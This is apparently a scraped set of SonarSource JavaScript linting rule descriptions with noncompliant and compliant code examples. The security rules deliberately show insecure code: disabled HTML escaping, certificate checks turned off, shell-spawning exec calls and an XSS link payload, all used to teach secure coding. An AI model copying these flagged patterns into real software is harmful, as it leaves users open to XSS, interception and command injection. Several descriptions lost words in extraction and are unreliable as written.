Sensitive Code Examplemustache.js template engine: let Mustache = require("mustache"); Mustache.escape = function(text) {return text;}; // Sensitive let rendered = Mustache.render(template, { name: inputName }); handlebars.js template engine: const Handlebars = require('handlebars'); let source = "<p>attack {{name}}</p>"; let template = Handlebars.compile(source, { noEscape: true }); // Sensitive markdown-it markup language parser: const markdownIt = require('markdown-it'); let md = markdownIt({ html: true // Sensitive }); let result = md.render('# <b>attack</b>'); marked markup language parser: const marked = require('marked'); marked.setOptions({ renderer: new marked.Renderer(), sanitize: false // Sensitive }); console.log(marked("# test <b>attack/b>")); kramed markup language parser: let kramed = require('kramed'); var options = { renderer: new kramed.Renderer({ sanitize: false // Sensitive }) }; Compliant Solutionmustache.js template engine: let Mustache = require("mustache"); let rendered = Mustache.render(template, { name: inputName }); // Compliant autoescaping is on by default handlebars.js template engine: const Handlebars = require('handlebars'); let source = "<p>attack {{name}}</p>"; let data = { "name": "<b>Alan</b>" }; let template = Handlebars.compile(source); // Compliant by default noEscape is set to false markdown-it markup language parser: let md = require('markdown-it')(); // Compliant by default html is set to false let result = md.render('# <b>attack</b>'); marked markup language parser: const marked = require('marked'); marked.setOptions({ renderer: new marked.Renderer() }); // Compliant by default sanitize is set to true console.log(marked("# test <b>attack/b>")); kramed markup language parser: let kramed = require('kramed'); let options = { renderer: new kramed.Renderer({ sanitize: true // Compliant }) }; console.log(kramed('Attack [xss?](javascript:alert("xss")).', options)); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4158 |
When a collection is empty it makes no sense to access or iterate it. Doing so anyway is surely an error; either population was accidentally omitted or the developer doesn't understand the situation. Noncompliant Code Examplelet strings = []; if (strings.includes("foo")) {} // Noncompliant for (str of strings) {} // Noncompliant strings.forEach(str => doSomething(str)); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1440 |
The It is best to always use the side-effect-less Noncompliant Code Exampleif (var == 'howdy') {...} // Noncompliant Compliant Solutionif (var === 'howdy') {...} ExceptionsEven if testing the equality of a variable against null doesn't do exactly what most JavaScript developers believe, usage of if(foo == null) {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3981 |
The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or
equal to zero doesn't make sense, since the result is always Noncompliant Code Exampleif (someSet.size >= 0) {...} // Noncompliant if (someMap.size < 0) {...} // Noncompliant const result = someArray.length >= 0; // Noncompliant Compliant Solutionif (someSet.size > 0) {...} if (someMap.size == 0) {...} const result = someArray.length > 0; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1441 |
This rule checks that all string literals use the same kind of quotes. Noncompliant Code ExampleUsing the parameter default (forcing single quotes): var firstParameter = "something"; // Noncompliant Compliant Solutionvar firstParameter = 'something'; ExceptionsStrings that contain quotes are ignored. let heSaid = "Then he said 'What?'." // ignored let sheSaid = '"Whatever!" she replied.' // ignored |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1442 |
Noncompliant Code Exampleif(unexpectedCondition) { alert("Unexpected Condition"); } See
DeprecatedThis rule is deprecated; use S4507 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3984 |
Creating a new Noncompliant Code Exampleif (x < 0) { new Error("x must be nonnegative"); } Compliant Solutionif (x < 0) { throw new Error("x must be nonnegative"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3863 |
Multiple imports from the same module should be merged together to improve readability. Noncompliant Code Exampleimport { B1 } from 'b'; import { B2 } from 'b'; // Noncompliant Compliant Solutionimport { B1, B2 } from 'b'; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3500 |
Variables declared with Noncompliant Code Exampleconst pi = "yes, please"; pi = 3.14; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1321 |
The use of the Using Noncompliant Code Examplevar x = 'a'; var foo = { y: 1 } with (foo) { // Noncompliant y = 4; // updates foo.y x = 3; // does NOT add a foo.x property; updates x var in outer scope } print(foo.x + " " + x); // shows: undefined 3 Compliant Solutionvar x = 'a'; var foo = { y: 1 } foo.y = 4; foo.x = 3; print(foo.x + " " + x); // shows: 3 a |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4830 |
Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks. The certificate chain validation includes these steps:
It's not recommended to reinvent the wheel by implementing custom certificate chain validation. TLS libraries provide built-in certificate validation functions that should be used. Noncompliant Code ExampleThere is no way to disable certificate verification in tls, https and request modules but it is possible to not reject request when verification fails. https built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method', rejectUnauthorized: false ; // Noncompliant }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Noncompliant tls built-in module: let options = { secureProtocol: 'TLSv1_2_method', rejectUnauthorized: false ; // Noncompliant }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Noncompliant request module: let socket = request.get({ url: 'www.example.com', secureProtocol: 'TLSv1_2_method', rejectUnauthorized: false ; // Noncompliant }); Compliant Solutionhttps built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method' }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Compliant: by default rejectUnauthorized is set to true tls built-in module: let options = { secureProtocol: 'TLSv1_2_method' }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Compliant: by default rejectUnauthorized is set to true request module: let socket = request.get({ url: 'https://www.example.com/', secureProtocol: 'TLSv1_2_method' // Compliant }); // Compliant: by default rejectUnauthorized is set to true See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S888 |
Testing Noncompliant Code Examplefor (var i = 1; i != 10; i += 2) // Noncompliant. Infinite; i goes from 9 straight to 11. { //... } Compliant Solutionfor (var i = 1; i <= 10; i += 2) // Compliant { //... } ExceptionsEquality operators are ignored if the loop counter is not modified within the body of the loop and either:
Equality operators are also ignored when the test is against for (var i = 0; arr[i] != null; i++) { // ... } for (var i = 0; (item = arr[i]) != null; i++) { // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4143 |
It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely in error. Noncompliant Code Examplefruits[1] = "banana"; fruits[1] = "apple"; // Noncompliant - value on index 1 is overwritten myMap.set("key", 1); myMap.set("key", 2); // Noncompliant - value for key "key" is replaced mySet.add(1); mySet.add(1); // Noncompliant - element is already in the set |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4140 |
An array declared with missing ("sparse") elements is likely to be an error: an extra comma was inserted or perhaps the developer meant to insert the missing value and forgot. Noncompliant Code Examplelet a = [1, , 3, 6, 9]; // Noncompliant Compliant Solutionlet a = [1, 3, 6, 9]; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1314 |
Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values. Noncompliant Code Examplevar myNumber = 010; // Noncompliant. myNumber will hold 8, not 10 - was this really expected? Compliant Solutionvar myNumber = 8; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3735 |
The Noncompliant Code Examplevoid (function() { ... }()); Compliant Solution(function() { ... }()); ExceptionsNo issue is raised when if (parameter === void 0) {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3616 |
The comma operator ( Similarly the logical OR operator ( Noncompliant Code Exampleswitch a { case 1,2: // Noncompliant; only 2 is ever handled by this case doTheThing(a); case 3 || 4: // Noncompliant; only '3' is handled doThatThing(a); case 5: doTheOtherThing(a); default: console.log("Neener, neener!"); // this happens when a==1 or a == 4 } Compliant Solutionswitch a { case 1: case 2: doTheThing(a); case 3: case 4: doThatThing(a); case 5: doTheOtherThing(a); default: console.log("Neener, neener!"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4823 |
Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities: Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized. Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure. This rule raises an issue when on every program entry points ( Ask Yourself Whether
If you answered yes to any of these questions you are at risk. Recommended Secure Coding PracticesSanitize all command line arguments before using them. Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information. Sensitive Code Example// The process object is a global that provides information about, and control over, the current Node.js process var param = process.argv[2]; // Sensitive: check how the argument is used console.log('Param: ' + param); See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1438 |
In JavaScript, the semicolon ( Noncompliant Code Examplefunction fun() { return // Noncompliant. ';' implicitly inserted at end of line 5 // Noncompliant. ';' implicitly inserted at end of line } print(fun()); // prints "undefined", not "5" Compliant Solutionfunction fun() { return 5; } print(fun()); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1439 |
Any statement or block of statements can be identified by a label, but those labels should be used only on Noncompliant Code ExamplemyLabel: if (i % 2 == 0) { // Noncompliant if (i == 12) { console.log("12"); break myLabel; } console.log("Odd number, but not 12"); } Compliant SolutionmyLabel: for (i = 0; i < 10; i++) { // Compliant console.log("Loop"); break myLabel; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4829 |
Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities: It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated. This rule flags code that reads from the standard input. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize all data read from the standard input before using it. Sensitive Code Example// The process object is a global that provides information about, and control over, the current Node.js process // All uses of process.stdin are security-sensitive and should be reviewed process.stdin.on('readable', () => { const chunk = process.stdin.read(); // Sensitive if (chunk !== null) { dosomething(chunk); } }); const readline = require('readline'); readline.createInterface({ input: process.stdin // Sensitive }).on('line', (input) => { dosomething(input); }); See:
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4144 |
When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, the code should be refactored. Noncompliant Code Examplefunction calculateCode() { doTheThing(); doOtherThing(); return code; } function getName() { // Noncompliant doTheThing(); doOtherThing(); return code; } Compliant Solutionfunction calculateCode() { doTheThing(); doOtherThing(); return code; } function getName() { return calculateCode(); } ExceptionsFunctions with fewer than 3 lines are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3973 |
In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers. Noncompliant Code Exampleif (condition) // Noncompliant doTheThing(); doTheOtherThing(); somethingElseEntirely(); foo(); Compliant Solutionif (condition) doTheThing(); doTheOtherThing(); somethingElseEntirely(); foo(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3972 |
Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an Noncompliant Code Exampleif (condition1) { // ... } if (condition2) { // Noncompliant //... } Compliant Solutionif (condition1) { // ... } else if (condition2) { //... } Or if (condition1) { // ... } if (condition2) { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4822 |
An exception (including This rule reports Noncompliant Code Examplefunction runPromise() { return Promise.reject("rejection reason"); } function foo() { try { // Noncompliant, the catch clause of the 'try' will not be executed for the code inside promise runPromise(); } catch (e) { console.log("Failed to run promise", e); } } Compliant Solutionfunction foo() { runPromise().catch(e => console.log("Failed to run promise", e)); } // or async function foo() { try { await runPromise(); } catch (e) { console.log("Failed to run promise", e); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3854 |
There are situations where The basic rule is: a constructor in a non-derived class cannot invoke Furthermore: - - - - Known Limitations
Noncompliant Code Exampleclass Dog extends Animal { constructor(name) { super(); this.name = name; super(); // Noncompliant super.doSomething(); } } Compliant Solutionclass Dog extends Animal { constructor(name) { super(); this.name = name; super.doSomething(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1105 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when the brace-style is not respecting the convention setup in parameter: * 1tbs (default) * allman Noncompliant Code ExampleUsing the parameter default (1tbs): if (condition) { //Noncompliant doSomething(); } //Noncompliant else { doSomethingElse(); } Compliant Solutionif (condition) { //Compliant doSomething(); } else { //Compliant doSomethingElse(); } Exceptions* Object literals appearing as arguments can start on their own line. functionWithObject( { //Compliant g: "someValue" } ); * When blocks are inlined (left and right curly braces on the same line), no issue is triggered. if(condition) {doSomething();} //Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1226 |
While it is technically correct to assign to parameters from within function bodies, it reduces code readability because developers won't be able to tell whether the original parameter or some temporary variable is being accessed without going through the whole function. Moreover, some developers might also expect assignments of function parameters to be visible to callers, which is not the case, and this lack of visibility could confuse them. Instead, all parameters, caught exceptions, and foreach parameters should be treated as constants. Noncompliant Code Examplefunction MyClass(name, strings) { name = foo; // Noncompliant for (var str of strings) { str = ""; // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3525 |
Originally JavaScript didn't support Specifically, with ES2015, you should simply declare a Noncompliant Code Examplefunction MyNonClass(initializerArgs = []) { this._values = [...initializerArgs]; } MyNonClass.prototype.doSomething = function () { // Noncompliant // ... } Compliant Solutionclass MyClass { constructor(initializerArgs = []) { this._values = [...initializerArgs]; } doSomething() { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4619 |
The If checking for an array slot is indeed desired, using Noncompliant Code Examplefunction func1() { let arr = ["a", "b", "c"]; let expectedValue = "b"; if (expectedValue in arr) { // Noncompliant, will be always false return expectedValue + " found in the array"; } else { return expectedValue + " not found"; } } function func2() { let arr = ["a", "b", "c"]; let expectedValue = "1"; // index #1 is corresponding to the value "b" if (expectedValue in arr) { // Noncompliant, will be always true because the array is made of 3 elements and the #1 is always there whatever its value return expectedValue + " found in the array"; } else { return expectedValue + " not found"; } } Compliant Solutionfunction func() { let arr = ["a", "b", "c"]; let expectedValue = "b"; if (arr.includes(expectedValue)) { return expectedValue + " was found in the array"; } else { return expectedValue + " not found"; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3760 |
Expressions with arithmetic ( Noncompliant Code Examplestr = "80"; quarter = str / 4; // Noncompliant if (str < 10) { // Noncompliant // ... } Compliant Solutionstr = "80"; parsedStr = parseInt(str); quarter = parsedStr / 4; if (parsedStr < 10) { // ... } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2310 |
Loop counters should not be modified in the body of the loop. However other loop control variables representing logical values may be modified in the loop, for example a flag to indicate that something has been completed, which is then tested in the for statement. Noncompliant Code Examplevar names = [ "Jack", "Jim", "", "John" ]; for (var i = 0; i < names.length; i++) { if (!names[i]) { i = names.length; // Non-Compliant } else { console.log(names[i]); } } Compliant Solutionvar names = [ "Jack", "Jim", "", "John" ]; for (var name of names) { if (!name) { break; // Compliant } else { console.log(name); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2432 |
Functions declared with the Noncompliant Code Examplevar person = { // ... set name(name) { this.name = name; return 42; // Noncompliant } } Compliant Solutionvar person = { // ... set name(name) { this.name = name; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3524 |
Shared coding conventions allow teams to collaborate effectively. This rule raises an issue when the use of parentheses with an arrow function does not conform to the configured requirements. Noncompliant Code ExampleWith the configured defaults forbidding parentheses var foo = (a) => { /* ... */ }; // Noncompliant; remove parens from arg var bar = (a, b) => { return 0; }; // Noncompliant; remove curly braces from body Compliant Solutionvar foo = a => { /* ... */ }; var bar = (a, b) => 0; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3403 |
Comparing dissimilar types using the strict equality operators Noncompliant Code Examplevar a = 8; var b = "8"; if (a === b) { // Noncompliant; always false // ... } Compliant Solutionvar a = 8; var b = "8"; if (a == b) { // ... } or var a = 8; var b = "8"; if (a === Number(b)) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3523 |
In addition to being obtuse from a syntax perspective, function constructors are also dangerous: their execution evaluates the constructor's string
arguments similar to the way In general it is better to avoid it altogether, particularly when used to parse JSON data. You should use ECMAScript 5's built-in JSON functions or a dedicated library. Noncompliant Code Examplevar obj = new Function("return " + data)(); // Noncompliant Compliant Solutionvar obj = JSON.parse(data); ExceptionsFunction calls where the argument is a string literal (e.g. See
DeprecatedThis rule is deprecated; use S1523 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3402 |
Use a This rule raises an issue when Noncompliant Code Examplefunction foo() { let x = 5 + 8; // okay let z = "8" return x + z; // Noncompliant; yields string "138" } Compliant Solutionfunction foo() { let x = 5 + 8; let z = "8" return x + Number(z); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4165 |
The transitive property says that if This rule raises an issue when an assignment is useless because the assigned-to variable already holds the value on all execution paths. Noncompliant Code Examplea = b; c = a; b = c; // Noncompliant: c and b are already the same Compliant Solutiona = b; c = a; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4043 |
Many of JavaScript's This rule raises an issue when the return values of these methods are assigned, which could lead maintainers to overlook the fact that the original value is altered. Noncompliant Code Examplevar b = a.reverse(); // Noncompliant var d = c.sort(); // Noncompliant Compliant Solutionvar b = [...a].reverse(); // de-structure and create a new array, so reverse doesn't impact 'a' a.reverse(); c.sort(); // this sorts array in place |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3757 |
The result of an expression with an arithmetic operator Noncompliant Code Examplex = [1, 2]; var y = x / 4; //Noncompliant Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3514 |
ECMAScript 2015 introduced the ability to extract and assign multiple data points from an object or array simultaneously. This is called "destructuring", and it allows you to condense boilerplate code so you can concentrate on logic. This rule raises an issue when multiple pieces of data are extracted out of the same object or array and assigned to variables. Noncompliant Code Examplefunction foo (obj1, obj2, array) { var a = obj1.a; // Noncompliant var b = obj1.b; var name = obj2.name; // ignored; there's only one extraction-and-assignment var zero = array[0]; // Noncompliant var one = array[1]; } Compliant Solutionfunction foo (obj1, obj2, array) { var {a, b} = obj1; var {name} = obj2; // this syntax works because var name and property name are the same var [zero, one] = array; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2428 |
Object literal syntax, which initializes an object's properties inside the object declaration is cleaner and clearer than the alternative: creating an empty object, and then giving it properties one by one. An issue is raised when the following pattern is met:
Noncompliant Code Examplelet person = {}; // Noncompliant person.firstName = "John"; person.middleInitial = "Q"; person.lastName = "Public"; Compliant Solutionlet person = { firstName: "John", middleInitial: "Q", lastName: "Public", } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3758 |
In a Zen-like manner, This rule raises an issue when there is at least one path through the code where one of the operands to a comparison is Noncompliant Code Examplevar x; // x is currently "undefined" if (someCondition()) { x = 42; } if (42 > x) { // Noncompliant; "x" might still be "undefined" doSomething(); } var obj = {prop: 42}; if (obj > 24) { // Noncompliant doSomething(); } Compliant Solutionvar x; if (someCondition()) { x = 42; } else { x = foo(); } if (42 > x) { doSomething(); } var obj = {prop: 42}; if (obj.prop > 24) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3516 |
When a function is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is likely a mistake. This rule raises an issue when a function contains several Noncompliant Code Examplefunction foo(a) { // Noncompliant let b = 12; if (a) { return b; } return b; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2427 |
The Noncompliant Code ExampleparseInt("010"); // Noncompliant; pre-2013 browsers may return 8 Compliant SolutionparseInt("010", 10); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1219 |
Even if it is legal, mixing case and non-case labels in the body of a switch statement is very confusing and can even be the result of a typing error. Noncompliant Code ExampleCase 1, the code is syntactically correct but the behavior is not the expected one switch (day) { case MONDAY: case TUESDAY: WEDNESDAY: // instead of "case WEDNESDAY" doSomething(); break; ... } Case 2, the code is correct and behaves as expected but is hardly readable switch (day) { case MONDAY: break; case TUESDAY: foo:for(i = 0 ; i < X ; i++) { /* ... */ break foo; // this break statement doesn't relate to the nesting case TUESDAY /* ... */ } break; /* ... */ } Compliant SolutionCase 1 switch (day) { case MONDAY: case TUESDAY: case WEDNESDAY: doSomething(); break; ... } Case 2 switch (day) { case MONDAY: break; case TUESDAY: compute(args); // put the content of the labelled "for" statement in a dedicated method break; /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3513 |
The magic of JavaScript is that you can pass arguments to functions that don't declare parameters, and on the other side, you can use those
passed-in arguments inside the no-args But just because you can, that does't mean you should. The expectation and use of arguments inside functions that don't explicitly declare them is confusing to callers. No one should ever have to read and fully understand a function to be able to use it competently. If you don't want to name arguments explicitly, use the Noncompliant Code Examplefunction concatenate() { let args = Array.prototype.slice.call(arguments); // Noncompliant return args.join(', '); } function doSomething(isTrue) { var args = Array.prototype.slice.call(arguments, 1); // Noncompliant if (!isTrue) { for (var arg of args) { ... } } } Compliant Solutionfunction concatenate(...args) { return args.join(', '); } function doSomething(isTrue, ...values) { if (!isTrue) { for (var value of values) { ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2424 |
Overriding an object changes its behavior and could potentially impact all code using that object. Overriding standard, built-in objects could therefore have broad, potentially catastrophic effects on previously-working code. This rule detects overrides of the following native objects:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4721 |
Arbitrary OS command injection vulnerabilities are more likely when a shell is spawned rather than a new process, indeed shell meta-chars can be used (when parameters are user-controlled for instance) to inject OS commands. Ask Yourself Whether
There is a risk if you answered yes to any of this questions.
Recommended Secure Coding PracticesUse functions that don't spawn a shell. Sensitive Code Exampleconst cp = require('child_process'); // A shell will be spawn in these following cases: cp.exec(str); // Sensitive cp.execSync(str); // Sensitive cp.spawn(str, { shell: true }); // Sensitive cp.spawnSync(str, { shell: true }); // Sensitive cp.execFile(str, { shell: true }); // Sensitive cp.execFileSync(str, { shell: true }); // Sensitive Compliant Solutionconst cp = require('child_process'); cp.execFile("/usr/bin/file.exe", { shell: false }); // Compliant (note that by default with execFile method, shell property is set to false) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3512 |
ECMAScript 2015 added the ability to use template literals instead of concatenation. Since their use is clearer and more concise, they are preferred in environments that support ECMAScript 2015. Noncompliant Code Examplefunction sayHello(name) { console.log("hello " + name); // Noncompliant } Compliant Solutionfunction sayHello(name) { console.log(`hello ${name}`); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1523 |
Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities: Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security. This rule raises issues on calls to Ask Yourself Whether
